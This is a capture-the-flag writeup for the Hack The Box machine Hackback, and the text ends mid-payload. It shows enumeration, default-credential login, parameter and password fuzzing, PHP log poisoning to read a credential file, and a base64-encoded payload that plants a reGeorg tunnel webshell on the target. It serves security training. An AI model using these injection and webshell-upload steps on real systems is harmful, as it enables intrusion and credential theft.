Hack The Box - Hackback

Preface

If you find anything in this writeup you feel is inaccurately depicted and/or explained, please reach out to me and let me know! Hackback is currently rated as the most difficult machine on the website Hack The Box. It includes some interesting techniques such as log poisoning, SOCKS proxy tunneling and alternate data streams!


Overview

The Hackback machine on Hack The Box (created by decoder and yuntao) is a retired 50 point Windows machine. This machine is incredibly difficult; so difficult that it maintained a 9.4/10 difficulty rating for almost a week upon being released. The initial steps involve locating a GoPhish website where default credentials are used to log in. There are also some virtual hosts which lead to a hidden administration link within obfuscated JavaScript code. Next, the parameters of a web admin page can be fuzzed to determine its log files are SHA-256 checksums of connecting IP addresses. Log poisoning is then performed to gain read/write access. A file called web.config.old is extracted from the web server and contains credentials for the user simple. A reGeorg ASPX tunnel is then utilized to connect to the remote machine. This enables tunneling via a SOCKS proxy with WinRM and the credentials found for simple in web.config.old. A command injection vulnerability in a powershell script called dellog.ps1 can be leveraged in association with dellog.bat and clean.ini files to escalate to the user hacker. Once escalated, the user hacker can start/stop a suspicious service called UserLogger, which accepts an argument. This can be abused to escalate folder path permissions. Finally, root.txt can be viewed by reading an alternate data stream (ADS).


deep breath


To start, let’s perform an initial nmap scan for general port discovery and service enumeration.


Nmap Scan


➜  HACKBACK cat nmap/Full_10.10.10.128.nmap
# Nmap 7.70 scan initiated Wed Jun 26 18:41:47 2019 as: nmap -p- -Pn -sCV -oN nmap/Full_Scan.nmap 10.10.10.128
Nmap scan report for hackback.htb (10.10.10.128)
Host is up (0.082s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|\_http-server-header: Microsoft-IIS/10.0
|\_http-title: IIS Windows Server
6666/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|\_http-server-header: Microsoft-HTTPAPI/2.0
|\_http-title: Site doesn't have a title.
64831/tcp open ssl/unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain; charset=utf-8
| Set-Cookie: \_gorilla_csrf=MTU2MTYxNDA0MHxJbmhYYWtwMFRDODFiVEprV2xKVlZuUldNME5sZUhGaU4ySTNNVzRyYVhOdU5uVlpaR3N2VVV0SFJWVTlJZ289fIsEWDUNIsfBkhOODEW4L0oYhWhQiD3ICcQhMBf0PS-q; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| X-Content-Type-Options: nosniff
| Date: Thu, 27 Jun 2019 05:40:40 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /login?next=%2F
| Set-Cookie: \_gorilla_csrf=MTU2MTYxNDAxMnxJa3cyYmxCelpETjFOa1pNUldoQ2NYaEthV3BHYkdsaVJIQnhkbmR3TVM5NmVHUmhVQ3NyYUVGemJVMDlJZ289fKUowzV0RRkNbELD00_5x7uTSyDte6KzWnCGJXT9t5WI; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| Date: Thu, 27 Jun 2019 05:40:12 GMT
| Content-Length: 38
| href="/login?next=%2F">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Location: /login?next=%2F
| Set-Cookie: \_gorilla_csrf=MTU2MTYxNDAxMnxJakIwVjFaVlpFcFRjQ3RsYlhsRWN5OHdXak5aTXpaeWFXOVpaRUUwVDJRNFptdHZabkZCVUN0b2QwVTlJZ289fBPuJzUomVC9beg6yLA8C9i23sXvZr_EQsMiLoCnbQRM; HttpOnly; Secure
| Vary: Accept-Encoding
| Vary: Cookie
| Date: Thu, 27 Jun 2019 05:40:12 GMT
|_ Content-Length: 0
| ssl-cert: Subject: organizationName=Gophish
| Not valid before: 2018-11-22T03:49:52
|\_Not valid after: 2028-11-19T03:49:52

Enumerating Port 80

At this stage, let’s additionally add hackback.htb to our /etc/hosts file. The first thing we notice upon browsing to the web page on port 80 (IIS 10.0) is a picture of a donkey…

Hackback - Front Page Donkey

Let’s go ahead and run a gobuster scan as well.

➜  gobuster gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://hackback.htb -x php,aspx,txt,ini,png,jpg
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://hackback.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     jpg,php,aspx,txt,ini,png
[+] Timeout:        10s
===============================================================
2020/04/15 14:31:15 Starting gobuster
===============================================================
/aspnet_client (Status: 301)
/. (Status: 200)

Hmph… Nothing here so far.

Enumerating Port 6666

Moving on, let’s check out port 6666. It appears to be running Microsoft HTTPAPI 2.0, so let’s run gobuster again to see if we can find anything worth digger deeper into.

➜  HACKBACK gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://hackback.htb:6666/ -x php,aspx,txt,ini,png,jpg
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://hackback.htb:6666/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     ini,png,jpg,php,aspx,txt
[+] Timeout:        10s
===============================================================
2020/04/15 14:37:01 Starting gobuster
===============================================================
/help (Status: 200)

Nice! We discovered a directory called /help. Let’s take a look at it with curl.

➜  HACKBACK curl -X GET http://10.10.10.128:6666/help
"hello,proc,whoami,list,info,services,netsat,ipconfig"

It looks like there are some commands here. Let’s try one!

➜  HACKBACK curl -X GET http://10.10.10.128:6666/hello
"hello donkey!"

Unfortunately, none of the commands appeared to be useful after checking each one individually. Attempting to perform different injection attacks also didn’t appear to work, so let’s continue our process of enumerating.

Enumerating Port 64831

Perusing port 64831 enables us to quickly discover a GoPhish login page over HTTPS. Let’s go ahead and check the SSL certificate first to make sure there isn’t any additional helpful information there.

Hackback - GoPhish SSL Certificate

Doesn’t look like we can find anything this time, but it’s always a good idea to check just to be sure.

Hackback - GoPhish Login

I started off simple and looked up the default credentials for a GoPhish admin account. A brief Google search did the trick.

Hackback - GoPhish Login Credential Search

Awesome, the credentials are admin:gophish. We might as well give them a try.

Hackback - GoPhish Admin Login

Great! The credentials we found work.

Hackback - GoPhish Admin Dashboard

After doing some browsing, we also discover the Email Templates panel which contains quite a few different pre-configured templates.

Hackback - GoPhish Email Templates

The Admin template appears to contain information for the admin sub domain at admin.hackback.htb. We should add admin.hackback.htb to our /etc/hosts file at this point so the DNS entry resolves properly. We can additionally observe the HackTheBox template containing the URL www.hackthebox.htb, so let’s add that to our /etc/hosts file as well.

Hackback - GoPhish Admin Template

Enumerating the Admin Sub Domain

Taking a peak at admin.hackback.htb, we are directed to some sort of login page.

Hackback - Admin Sub Domain Login

Viewing the page’s source, an interesting comment appears to have been left in the HTML.

Hackback - JavaScript Comment

However, after checking admin.hackback.htb/js/.js, we’re met with a 404 error response page.

Hackback - GoPhish JavaScript File Error

Let’s fire up another gobuster scan and specify .js as the only extension.

➜  HACKBACK gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://admin.hackback.htb/js/ -x js
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://admin.hackback.htb/js/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     js
[+] Timeout:        10s
===============================================================
2020/04/15 15:06:04 Starting gobuster
===============================================================
/private.js (Status: 200)

Rad. We immediately get a hit on private.js!


Analyzing the private.js File

Examining the source, it appears to be a bunch of obfuscated JavaScript…

Hackback - private.js file

If we examine the private.js file further, we’ll find it is actually encoded with ROT13. We can determine this by noticing the first line:

ine n =

Which can be attributed to being:

var a =

We also have to decipher the remainder of the code with a Caesar cipher variation. This was the output once everything is decoded and beautified:

var a = [
  'WxIjwr7DusO8GsKvRwB+wq3DuMKrwrLDgcOiwrY1KEEgG8KCwq7Dl8K3',
  'AcOMwqvDqQgCw4/Ct2nDtMKhZcKDwqTCpTsyw7nChsOQXMO5W8KpDsOtNCDDvAjCgyk=',
  'w5HDr8O7dDRmMMKJw4jDlVRnwrt7w7s0wo1aw7sAQsKsfsOEw4XDsRjClMOwFzrCmzpvCAjCuBzDssK9F8O4wqZnWsKh'
];
(function (c, d) {
  var e = function (f) {
    while (--f) {
      c['push'](c['shift']());
    }
  };
  e(++d);
}(a, 102));
var b = function (c, d) {
  c = c - 0;
  var e = a[c];
  if (b['MsULmv'] === undefined) {
    (function () {
      var f;
      try {
        var g = Function('return (function() ' + '{}.constructor("return this")( )' + ');');
        f = g();
      } catch (h) {
        f = window;
      }
      var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      f['atob'] || (f['atob'] = function (j) {
        var k = String(j) ['replace'](/=+$/, '');
        for (var l = 0, m, n, o = 0, p = ''; n = k['charAt'](o++); ~n && (m = l % 4 ? m * 64 + n : n, l++ % 4) ? p += String['fromCharCode'](255 & m >> ( - 2 * l & 6))  : 0) {
          n = i['indexOf'](n);
        }
        return p;
      });
    }());
    var q = function (r, d) {
      var t = [
      ],
      u = 0,
      v,
      w = '',
      x = '';
      r = atob(r);
      for (var y = 0, z = r['length']; y < z; y++) {
        x += '%' + ('00' + r['charCodeAt'](y) ['toString'](16)) ['slice']( - 2);
      }
      r = decodeURIComponent(x);
      for (var A = 0; A < 256; A++) {
        t[A] = A;
      }
      for (A = 0; A < 256; A++) {
        u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 256;
        v = t[A];
        t[A] = t[u];
        t[u] = v;
      }
      A = 0;
      u = 0;
      for (var B = 0; B < r['length']; B++) {
        A = (A + 1) % 256;
        u = (u + t[A]) % 256;
        v = t[A];
        t[A] = t[u];
        t[u] = v;
        w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 256]);
      }
      return w;
    };
    b['OoACcd'] = q;
    b['qSLwGk'] = {
    };
    b['MsULmv'] = !![];
  }
  var C = b['qSLwGk'][c];
  if (C === undefined) {
    if (b['pIjlQB'] === undefined) {
      b['pIjlQB'] = !![];
    }
    e = b['OoACcd'](e, d);
    b['qSLwGk'][c] = e;
  } else {
    e = C;
  }
  return e;
};
var x = 'Secure Login Bypass';
var z = b('0x0', 'P]S6');
var h = b('0x1', 'r7TY');
var y = b('0x2', 'DAqg');
var t = '?action=(show,list,exec,init)';
var s = '&site=(twitter,paypal,facebook,hackthebox)';
var i = '&password=********';
var k = '&session=';
var w = 'Nothing more to say';

Now that we have the full output, let’s try to run the private.js file and extract the variable contents with node.

> x
'Secure Login Bypass'
> z
'Remember the secret path is'
> h
'2bb6916122f1da34dcd916421e531578'
> y
'Just in case I loose access to the admin panel'
> t
'?action=(show,list,exec,init)'
> s
'&site=(twitter,paypal,facebook,hackthebox)'
> i
'&password=********'
> k
'&session='
> w
'Nothing more to say'

Perfect, this is exactly what we wanted. It appears there’s a secret path at /2bb6916122f1da34dcd916421e531578. However, we don’t appear to be able to locate anything when checking the URL directly.

➜  HACKBACK curl -X GET http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/">here</a></body>

As a result of this, let’s fuzz the endpoint for additional files.

➜  HACKBACK wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt --hc 404 -t 15 http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ 

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ
Total requests: 16243

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                     
===================================================================

000000061:   200        8 L      13 W     132 Ch      "index.html"                                                                                                                                
000000366:   200        8 L      13 W     132 Ch      "."

It doesn’t look like we’re going to be getting anywhere quick doing that though… Let’s take a step back and try to think smarter instead of harder. We recall the private.js file contains lists of actions and sites for variables t and s:

var t = '?action=(show,list,exec,init)';
var s = '&site=(twitter,paypal,facebook,hackthebox)';

Sub Domain Parameter Fuzzing

With this in mind, let’s try building two wordlists with the contents of these variables.

➜  HACKBACK cat actions.txt; echo -n '--\n';  cat sites.txt
show
list
exec
init
--
twitter
paypal
facebook
hackthebox

Now, let’s test out wfuzz again with the aforementioned wordlists and parameters.

➜  HACKBACK wfuzz -w actions.txt -w sites.txt --hc 404 "http://admin.hackback.htb/?action=FUZZ&site=FUZZ"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://admin.hackback.htb/?action=FUZZ&site=FUZ2Z&password=&session=
Total requests: 16

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                     
===================================================================

000000004:   200        27 L     66 W     825 Ch      "show - hackthebox"                                                                                                                         
000000002:   200        27 L     66 W     825 Ch      "show - paypal"                                                                                                                             
000000001:   200        27 L     66 W     825 Ch      "show - twitter"                                                                                                                            
000000005:   200        27 L     66 W     825 Ch      "list - twitter"                                                                                                                            
000000011:   200        27 L     66 W     825 Ch      "exec - facebook"                                                                                                                           
000000012:   200        27 L     66 W     825 Ch      "exec - hackthebox"                                                                                                                         
000000014:   200        27 L     66 W     825 Ch      "init - paypal"                                                                                                                             
000000003:   200        27 L     66 W     825 Ch      "show - facebook"                                                                                                                           
000000013:   200        27 L     66 W     825 Ch      "init - twitter"                                                                                                                            
000000008:   200        27 L     66 W     825 Ch      "list - hackthebox"                                                                                                                         
000000009:   200        27 L     66 W     825 Ch      "exec - twitter"                                                                                                                            
000000007:   200        27 L     66 W     825 Ch      "list - facebook"                                                                                                                           
000000010:   200        27 L     66 W     825 Ch      "exec - paypal"                                                                                                                             
000000006:   200        27 L     66 W     825 Ch      "list - paypal"                                                                                                                             
000000015:   200        27 L     66 W     825 Ch      "init - facebook"                                                                                                                           
000000016:   200        27 L     66 W     825 Ch      "init - hackthebox"                                                                                                                         

Total time: 0.321124
Processed Requests: 16
Filtered Requests: 0
Requests/sec.: 49.82486

This returned all viable sites and actions for us! We can obtain the password for the hackthebox site shortly after using wfuzz as well.

➜  HACKBACK wfuzz -w /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-10.txt "http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=FUZZ"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=FUZZ
Total requests: 92

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                     
===================================================================

000000008:   302        6 L      12 W     117 Ch      "12345678" 

The password appears to be 12345678. Let’s run curl against the endpoint using that password and the hackthebox site specified.

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=12345678'
Array
(
    [0] => .
    [1] => ..
    [2] => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log
)

Well this is interesting. There appears to be a .log file with a hashed name. Let’s use hash-identifier to determine what type of hash it is.

➜  HACKBACK hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7

Possible Hashs:
[+] SHA-256

SHA-256 is apparently the most likely. We are able to log in to the www.hackthebox.htb site we found earlier in the HackTheBox template. The URL from the HackTheBox email template also generates a second .log file with a SHA-256 hash of our IP address as its name.

Hackback - Hack The Box Login

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=12345678'
Array
(
    [0] => .
    [1] => ..
    [2] => 972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b.log
    [3] => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log
)

We can verify the hash of the new log file by checking the SHA-256 sum of our IP address.
972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b


Log Poisoning Discovery & Enumeration

Equipped with our new session ID, we can try to utilize the action=show parameter to view the contents of the log file.

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b'
[15 April 2020, 08:07:44 PM] 10.10.14.37 - Username: farbs@hackback.htb, Password: ilovehacking!

Upon doing so, we discover the log file contains POST parameters that are sent to www.hackthebox.htb. This is interesting, as it can lead us to assume we can perform a log poisoning attack if we inject PHP code into the .log file for our IP address. Let’s enter a PHP payload into both the username and password fields of the fake Hack The Box login page. Then, we’ll check the .log file afterwards for evidence of code injection.

Hackback - HTB Login PHP Injection

Once we check the .log file afterwards…

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b'
[15 April 2020, 08:07:44 PM] 10.10.14.37 - Username: farbs@hackback.htb, Password: ilovehacking!
[15 April 2020, 08:15:27 PM] 10.10.14.37 - Username: Farbs was here!, Password: Farbs was here!

The PHP appears to have ran successfully! However, this is where everything starts to get a bit hairy… We will ultimately struggle to get any kind of shell back using shell_exec, exec, etc. and we can’t even run phpinfo. With this in mind, we’re still able to list directories, as well as utilize php wrapper syntax such as base64_encode(file_get_contents()).


Running scandir proves to be quite useful though, as we are still able to view directory contents.

Hackback - HTB Login scandir() Initial Directory

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b'
[15 April 2020, 08:07:44 PM] 10.10.14.37 - Username: farbs@hackback.htb, Password: ilovehacking!
[15 April 2020, 08:15:27 PM] 10.10.14.37 - Username: Farbs was here!, Password: Farbs was here![15 April 2020, 08:27:02 PM] 10.10.14.37 - Username: Array
(
    [0] => .
    [1] => ..
    [2] => index.html
    [3] => webadmin.php
)
, Password: // this is just a comment

After doing a bit of traversing, we discover a web.config.old file located in /inetpub/wwwroot/new_phish/admin.

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b'
[15 April 2020, 08:40:57 PM] 10.10.14.37 - Username: Array
(
    [0] => .
    [1] => ..
    [2] => 2bb6916122f1da34dcd916421e531578
    [3] => App_Data
    [4] => aspnet_client
    [5] => css
    [6] => img
    [7] => index.php
    [8] => js
    [9] => logs
    [10] => web.config
    [11] => web.config.old
)
, Password: // farbs was here again!

The file appears to contain some credentials.

➜  HACKBACK curl -X GET 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=show&site=hackthebox&password=12345678&session=972d14b51c047ebff05b7eb1d1acff3d5989bac8407b45e28013a3584834270b'
[15 April 2020, 08:43:31 PM] 10.10.14.37 - Username: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <authentication mode="Windows">
        <identity impersonate="true"                 
            userName="simple" 
            password="ZonoProprioZomaro:-("/>
     </authentication>
        <directoryBrowse enabled="false" showFlags="None" />
    </system.webServer>
</configuration>
, Password: // one more comment for fun!

We are able to obtain the file by submitting the following PHP:

<?php echo(file_get_contents('/inetpub/wwwroot/new_phish/admin/web.config.old')); ?>

However, we don’t appear to be able to use the credentials yet. At this point we can probably assume they’ll come in handy eventually, though.

Tunneling with reGeorg

Armed with the ability to write files to the system via PHP log poisoning, and considering we still don’t have access to any shell_exec or exec functions in general, let’s utilize reGeorg for pivoting. This tool enables us to create a local SOCKS proxy bound to a remote .aspx file running on the target machine.


To get reGeorg running, we first need to upload the tunnel.aspx file that can be found in the reGeorg GitHub repository. Let’s use a simple file_put_contents() command with the PHP injection to do this.


Here’s an example of our final PHP payload for sending the tunnel.aspx file. The base64 included is the contents of the tunnel.aspx file piped to base64:

<?php file_put_contents("tunnel.aspx",base64_decode("PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBFbmFibGVTZXNzaW9uU3RhdGU9IlRydWUiJT4KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5OZXQiICU+CjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uTmV0LlNvY2tldHMiICU+CjwlCi8qICAgICAgICAgICAgICAgICAgIF9fX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgX19fX18gICBfX19fX18gIF9ffF9fXyAgfF9fICBfX19fX18gIF9fX19fICBfX19fXyAgIF9fX19fXyAgCiB8ICAgICB8IHwgICBfX198fCAgIF9fX3wgICAgfHwgICBfX198LyAgICAgXHwgICAgIHwgfCAgIF9fX3wgCiB8ICAgICBcIHwgICBfX198fCAgIHwgIHwgICAgfHwgICBfX198fCAgICAgfHwgICAgIFwgfCAgIHwgIHwgCiB8X198XF9fXHxfX19fX198fF9fX19fX3wgIF9ffHxfX19fX198XF9fX19fL3xfX3xcX19cfF9fX19fX3wgCiAgICAgICAgICAgICAgICAgICAgfF9fX19ffAogICAgICAgICAgICAgICAgICAgIC4uLiBldmVyeSBvZmZpY2UgbmVlZHMgYSB0b29sIGxpa2UgR2VvcmcKICAgICAgICAgICAgICAgICAgICAKICB3aWxsZW1Ac2Vuc2Vwb3N0LmNvbSAvIEBfd19tX18KICBzYW1Ac2Vuc2Vwb3N0LmNvbSAvIEB0cm93YWx0cwogIGV0aWVubmVAc2Vuc2Vwb3N0LmNvbSAvIEBrYW1wX3N0YWFsZHJhYWQKCkxlZ2FsIERpc2NsYWltZXIKVXNhZ2Ugb2YgcmVHZW9yZyBmb3IgYXR0YWNraW5nIG5ldHdvcmtzIHdpdGhvdXQgY29uc2VudApjYW4gYmUgY29uc2lkZXJlZCBhcyBpbGxlZ2FsIGFjdGl2aXR5LiBUaGUgYXV0aG9ycyBvZgpyZUdlb3JnIGFzc3VtZSBubyBsaWFiaWxpdHkgb3IgcmVzcG9uc2liaWxpdHkgZm9yIGFueQptaXN1c2Ugb3IgZGFtYWdlIGNhdXNlZCBieSB0aGlzIHByb2dyYW0uCgpJZiB5b3UgZmluZCByZUdlb3JnZSBvbiBvbmUgb2YgeW91ciBzZXJ2ZXJzIHlvdSBzaG91bGQKY29uc2lkZXIgdGhlIHNlcnZlciBjb21wcm9taXNlZCBhbmQgbGlrZWx5IGZ1cnRoZXIgY29tcHJvbWlzZQp0byBleGlzdCB3aXRoaW4geW91ciBpbnRlcm5hbCBuZXR3b3JrLgoKRm9yIG1vcmUgaW5mb3JtYXRpb24sIHNlZToKaHR0cHM6Ly9naXRodWIuY29tL3NlbnNlcG9zdC9yZUdlb3JnCiovCiAgICB0cnkKICAgIHsKICAgICAgICBpZiAoUmVxdWVzdC5IdHRwTWV0aG9kID09ICJQT1NUIikKICAgICAgICB7CiAgICAgICAgICAgIC8vU3RyaW5nIGNtZCA9IFJlcXVlc3QuSGVhZGVycy5HZXQoIlgtQ01EIik7CiAgICAgICAgICAgIFN0cmluZyBjbWQgPSBSZXF1ZXN0LlF1ZXJ5U3RyaW5nLkdldCgiY21kIikuVG9VcHBlcigpOwogICAgICAgICAgICBpZiAoY21kID09ICJDT05ORUNUIikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgU3RyaW5nIHRhcmdldCA9IFJlcXVlc3QuUXVlcnlTdHJpbmcuR2V0KCJ0YXJnZXQiKS5Ub1VwcGVyKCk7CiAgICAgICAgICAgICAgICAgICAgLy9SZXF1ZXN0LkhlYWRlcnMuR2V0KCJYLVRBUkdFVCIpOwogICAgICAgICAgICAgICAgICAgIGludCBwb3J0ID0gaW50LlBhcnNlKFJlcXVlc3QuUXVlcnlTdHJpbmcuR2V0KCJwb3J0IikpOwogICAgICAgICAgICAgICAgICAgIC8vUmVxdWVzdC5IZWFkZXJzLkdldCgiWC1QT1JUIikpOwogICAgICAgICAgICAgICAgICAgIElQQWRkcmVzcyBpcCA9IElQQWRkcmVzcy5QYXJzZSh0YXJnZXQpOwogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5OZXQuSVBFbmRQb2ludCByZW1vdGVFUCA9IG5ldyBJUEVuZFBvaW50KGlwLCBwb3J0KTsKICAgICAgICAgICAgICAgICAgICBTb2NrZXQgc2VuZGVyID0gbmV3IFNvY2tldChBZGRyZXNzRmFtaWx5LkludGVyTmV0d29yaywgU29ja2V0VHlwZS5TdHJlYW0sIFByb3RvY29sVHlwZS5UY3ApOwogICAgICAgICAgICAgICAgICAgIHNlbmRlci5Db25uZWN0KHJlbW90ZUVQKTsKICAgICAgICAgICAgICAgICAgICBzZW5kZXIuQmxvY2tpbmcgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBTZXNzaW9uLkFkZCgic29ja2V0Iiwgc2VuZGVyKTsKICAgICAgICAgICAgICAgICAgICBSZXNwb25zZS5BZGRIZWFkZXIoIlgtU1RBVFVTIiwgIk9LIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1FUlJPUiIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIFJlc3BvbnNlLkFkZEhlYWRlcigiWC1TVEFUVVMiLCAiRkFJTCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgaWYgKGNtZCA9PSAiRElTQ09OTkVDVCIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgU29ja2V0IHMgPSAoU29ja2V0KVNlc3Npb25bInNvY2tldCJdOwogICAgICAgICAgICAgICAgICAgIHMuQ2xvc2UoKTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBleCl7CgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgU2Vzc2lvbi5BYmFuZG9uKCk7CiAgICAgICAgICAgICAgICBSZXNwb25zZS5BZGRIZWFkZXIoIlgtU1RBVFVTIiwgIk9LIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSBpZiAoY21kID09ICJGT1JXQVJEIikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgU29ja2V0IHMgPSAoU29ja2V0KVNlc3Npb25bInNvY2tldCJdOwogICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaW50IGJ1ZmZMZW4gPSBSZXF1ZXN0LkNvbnRlbnRMZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGJ1ZmYgPSBuZXcgYnl0ZVtidWZmTGVuXTsKICAgICAgICAgICAgICAgICAgICBpbnQgYyA9IDA7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKChjID0gUmVxdWVzdC5JbnB1dFN0cmVhbS5SZWFkKGJ1ZmYsIDAsIGJ1ZmYuTGVuZ3RoKSkgPiAwKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgcy5TZW5kKGJ1ZmYpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBSZXNwb25zZS5BZGRIZWFkZXIoIlgtU1RBVFVTIiwgIk9LI